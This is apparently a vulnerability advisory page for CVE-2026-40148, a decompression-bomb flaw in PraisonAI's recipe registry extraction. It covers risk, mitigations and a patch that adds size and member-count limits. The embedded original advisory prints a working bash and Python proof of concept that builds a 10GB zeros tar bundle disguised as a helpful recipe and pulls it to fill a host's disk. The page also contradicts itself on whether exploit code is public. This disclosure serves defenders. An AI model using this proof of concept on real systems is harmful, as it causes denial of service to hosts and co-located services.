CVE-2026-40148: PraisonAI: decompression bomb causes disk exhaustion
GHSA-f2h6-7xfr-xm8w MEDIUM PoC AVAILABLE CISA: TRACK*PraisonAI's recipe registry extraction function validates archive paths against traversal attacks but omits any check on decompressed file size, allowing an attacker to craft a recipe bundle that is roughly 10MB compressed but expands to 10GB or more on extraction, silently filling the host's disk. Any PraisonAI deployment using LocalRegistry.pull() or HttpRegistry.pull() is exposed — no authentication is required to publish to the local registry, and the HTTP registry attack vector enables fully remote exploitation by controlling a recipe source. Although this CVE is not in CISA KEV and no public exploit code has been released, the decompression-bomb technique is trivially well-understood (zip bomb, tar bomb) and requires zero AI/ML expertise to weaponize, making exploitation accessible to low-sophistication threat actors. Upgrade praisonai to version 4.5.128 immediately; if patching is not possible, restrict pull() calls to explicitly trusted registries and monitor disk utilization on any host running PraisonAI agent workflows.
What is the risk?
Medium severity by CVSS (6.5) but operationally impactful for AI agent deployments. The network attack vector (AV:N) combined with no required privileges (PR:N) and a trivially well-known exploitation technique (tar bomb creation is thoroughly documented) means the barrier to attack is low. Disk exhaustion cascades beyond PraisonAI itself, potentially taking down co-hosted services, databases, or logging infrastructure on the same system. Environments where PraisonAI agents autonomously pull recipes from external or community registries are at highest risk, as the attack is fully automated and silent with no user-visible warning during extraction.
How does the attack unfold?
What systems are affected?
| Package | Ecosystem | Vulnerable Range | Patched |
|---|---|---|---|
| PraisonAI | pip | < 4.5.128 | 4.5.128 |
Do you use PraisonAI? You're affected.
How severe is it?
What is the attack surface?
What should I do?
5 steps-
Patch: Upgrade praisonai to >= 4.5.128, which adds MAX_EXTRACT_SIZE (500MB) and MAX_MEMBER_COUNT (1000) guards to _safe_extractall().
-
Interim workaround: Whitelist only trusted, internally-controlled recipe registries and block pull() calls from external HTTP sources at the network or application level until patching is complete.
-
Detection: Monitor disk utilization on PraisonAI hosts; alert on rapid disk growth (>1GB in <60 seconds) correlated with recipe pull operations.
-
Audit: Review all recipe sources currently configured in LocalRegistry and HttpRegistry deployments; validate bundle sizes before extraction using a wrapper that inspects TarInfo.size.
-
Runtime isolation: Run PraisonAI recipe pulls in isolated containers with disk quotas (e.g., Docker --storage-opt size=2G) to contain blast radius until patching is complete.
What does CISA's SSVC say?
Source: CISA Vulnrichment (SSVC v2.0). Decision based on the CISA Coordinator decision tree.
How is it classified?
Which compliance frameworks are affected?
This CVE is relevant to:
Frequently Asked Questions
What is CVE-2026-40148?
PraisonAI's recipe registry extraction function validates archive paths against traversal attacks but omits any check on decompressed file size, allowing an attacker to craft a recipe bundle that is roughly 10MB compressed but expands to 10GB or more on extraction, silently filling the host's disk. Any PraisonAI deployment using LocalRegistry.pull() or HttpRegistry.pull() is exposed — no authentication is required to publish to the local registry, and the HTTP registry attack vector enables fully remote exploitation by controlling a recipe source. Although this CVE is not in CISA KEV and no public exploit code has been released, the decompression-bomb technique is trivially well-understood (zip bomb, tar bomb) and requires zero AI/ML expertise to weaponize, making exploitation accessible to low-sophistication threat actors. Upgrade praisonai to version 4.5.128 immediately; if patching is not possible, restrict pull() calls to explicitly trusted registries and monitor disk utilization on any host running PraisonAI agent workflows.
Is CVE-2026-40148 actively exploited?
Proof-of-concept exploit code is publicly available for CVE-2026-40148, increasing the risk of exploitation.
How to fix CVE-2026-40148?
1. Patch: Upgrade praisonai to >= 4.5.128, which adds MAX_EXTRACT_SIZE (500MB) and MAX_MEMBER_COUNT (1000) guards to _safe_extractall(). 2. Interim workaround: Whitelist only trusted, internally-controlled recipe registries and block pull() calls from external HTTP sources at the network or application level until patching is complete. 3. Detection: Monitor disk utilization on PraisonAI hosts; alert on rapid disk growth (>1GB in <60 seconds) correlated with recipe pull operations. 4. Audit: Review all recipe sources currently configured in LocalRegistry and HttpRegistry deployments; validate bundle sizes before extraction using a wrapper that inspects TarInfo.size. 5. Runtime isolation: Run PraisonAI recipe pulls in isolated containers with disk quotas (e.g., Docker --storage-opt size=2G) to contain blast radius until patching is complete.
What systems are affected by CVE-2026-40148?
This vulnerability affects the following AI/ML architecture patterns: agent frameworks, AI agent orchestration pipelines, CI/CD pipelines for AI.
What is the CVSS score for CVE-2026-40148?
CVE-2026-40148 has a CVSS v3.1 base score of 6.5 (MEDIUM). The EPSS exploitation probability is 0.24%.
What is the AI security impact?
Affected AI Architectures
MITRE ATLAS Techniques
AML.T0010.001 AI Software AML.T0011.001 Malicious Package AML.T0029 Denial of AI Service AML.T0074 Masquerading Compliance Controls Affected
What are the technical details?
Original Advisory
## Summary The `_safe_extractall()` function in PraisonAI's recipe registry validates archive members against path traversal attacks but performs no checks on individual member sizes, cumulative extracted size, or member count before calling `tar.extractall()`. An attacker can publish a malicious recipe bundle containing highly compressible data (e.g., 10GB of zeros compressing to ~10MB) that exhausts the victim's disk when pulled via `LocalRegistry.pull()` or `HttpRegistry.pull()`. ## Details The vulnerable function is `_safe_extractall()` at `src/praisonai/praisonai/recipe/registry.py:131-162`: ```python def _safe_extractall(tar: tarfile.TarFile, dest_dir: Path) -> None: dest_resolved = dest_dir.resolve() for member in tar.getmembers(): member_path = Path(member.name) # Reject absolute paths if member_path.is_absolute(): raise RegistryError(...) # Reject '..' components if '..' in member_path.parts: raise RegistryError(...) # Reject resolved paths escaping dest_dir resolved = (dest_resolved / member_path).resolve() if not str(resolved).startswith(str(dest_resolved) + os.sep) and resolved != dest_resolved: raise RegistryError(...) # All members validated — safe to extract tar.extractall(dest_dir) # <-- No size limit ``` The function iterates all tar members and checks for path traversal (absolute paths, `..` components, resolved path escaping), but never inspects `member.size`. The `TarInfo.size` attribute is available on every member and represents the uncompressed size, but it is never read. This function is called from two locations: - `LocalRegistry.pull()` at line 396-397 - `HttpRegistry.pull()` at line 791-792 The `publish()` method at line 296-298 only copies the compressed bundle via `shutil.copy2()`, so the bomb only detonates when a victim calls `pull()`. No size limits, upload quotas, or decompression guards exist anywhere in the registry module. ## PoC ```bash # Step 1: Create a malicious recipe bundle mkdir bomb && cd bomb cat > manifest.json << 'EOF' {"name": "useful-recipe", "version": "1.0.0", "description": "Helpful AI recipe", "tags": ["ai"], "files": ["agent.yaml"]} EOF # Create a 10GB file of zeros (compresses to ~10MB with gzip) dd if=/dev/zero of=agent.yaml bs=1M count=10240 # Bundle it as a .praison file tar czf ../useful-recipe-1.0.0.praison manifest.json agent.yaml cd .. # Step 2: Publish to local registry (~10MB stored) python -c " from praisonai.recipe.registry import LocalRegistry reg = LocalRegistry() reg.publish('useful-recipe-1.0.0.praison') " # Step 3: Victim pulls — extracts 10GB to disk python -c " from praisonai.recipe.registry import LocalRegistry reg = LocalRegistry() reg.pull('useful-recipe') " # Result: 10GB+ written to disk, potential disk exhaustion ``` ## Impact - **Disk exhaustion:** A small compressed bundle (~10MB) can extract to 10GB+ of data, filling the victim's disk and causing denial of service for PraisonAI and potentially other applications on the same system. - **No authentication required:** The local registry has no access controls on `publish()`, and HTTP registry bundles are fetched from remote servers that the attacker controls. - **Silent detonation:** The extraction happens automatically during `pull()` with no progress indication or size warning to the user. ## Recommended Fix Add a maximum extraction size limit to `_safe_extractall()`: ```python MAX_EXTRACT_SIZE = 500 * 1024 * 1024 # 500MB MAX_MEMBER_COUNT = 1000 def _safe_extractall(tar: tarfile.TarFile, dest_dir: Path) -> None: dest_resolved = dest_dir.resolve() members = tar.getmembers() if len(members) > MAX_MEMBER_COUNT: raise RegistryError( f"Archive contains too many members ({len(members)} > {MAX_MEMBER_COUNT})" ) total_size = 0 for member in members: member_path = Path(member.name) if member_path.is_absolute(): raise RegistryError( f"Refusing to extract absolute path in archive: {member.name}" ) if '..' in member_path.parts: raise RegistryError( f"Refusing to extract path traversal in archive: {member.name}" ) resolved = (dest_resolved / member_path).resolve() if not str(resolved).startswith(str(dest_resolved) + os.sep) and resolved != dest_resolved: raise RegistryError( f"Refusing to extract path escaping target directory: {member.name}" ) total_size += member.size if total_size > MAX_EXTRACT_SIZE: raise RegistryError( f"Archive extraction would exceed size limit " f"({total_size} > {MAX_EXTRACT_SIZE} bytes)" ) tar.extractall(dest_dir) ```
Exploitation Scenario
An adversary publishes a malicious recipe named 'langchain-optimizer' to a community-accessible HTTP recipe registry, or compromises an existing trusted one. The ~10MB bundle contains a single agent.yaml file consisting of 10GB of zeros compressed with gzip — a classic decompression bomb. When an AI platform engineer or automated agent workflow runs reg.pull('langchain-optimizer') to expand agent capabilities, PraisonAI's _safe_extractall() validates path components (finding no traversal) and then calls tar.extractall() without ever reading member.size. The host disk fills to capacity within seconds, crashing PraisonAI, causing co-hosted databases to fail on writes, and halting log rotation. The attacker achieves denial of service with a single ~10MB payload, and the victim sees no warning or progress indicator during extraction.
Weaknesses (CWE)
CWE-409 — Improper Handling of Highly Compressed Data (Data Amplification): The product does not handle or incorrectly handles a compressed input with a very high compression ratio that produces a large output.
Source: MITRE CWE corpus.
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H References
Timeline
Related Vulnerabilities
GHSA-vmmj-pfw7-fjwp 9.9 praisonai: sandbox escape gives RCE via codeMode tool
Same package: praisonai CVE-2026-47392 9.9 praisonaiagents: RCE via Python sandbox bypass
Same package: praisonai GHSA-vc46-vw85-3wvm 9.8 PraisonAI: RCE via malicious workflow YAML execution
Same package: praisonai GHSA-9qhq-v63v-fv3j 9.8 PraisonAI: RCE via MCP command injection
Same package: praisonai CVE-2026-39890 9.8 PraisonAI: YAML deserialization enables unauthenticated RCE
Same package: praisonai